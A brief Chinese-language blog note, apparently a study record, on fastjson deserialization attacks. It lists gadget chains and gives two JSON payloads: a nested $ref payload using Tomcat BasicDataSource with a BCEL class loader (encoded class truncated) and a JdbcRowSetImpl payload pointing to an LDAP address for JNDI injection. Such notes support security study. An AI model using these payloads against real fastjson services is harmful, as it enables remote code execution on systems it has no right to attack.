fastjson反序列化

$ref 调用 getter

通过嵌套JSON方式调用getter

1
2
3
4
5
6
7
8
9
10
11
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

反序列化链:

TemplateImpl
JdbcRowSetImpl
Tomcat BasicDataSource

JdbcRowSetImpl链

alt text
alt text

payload:

1
"{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";

fastjson反序列化
http://mekrina.github.io/blogs/uncategorized/fastjson反序列化/
作者
John Doe
发布于
2025年7月25日
许可协议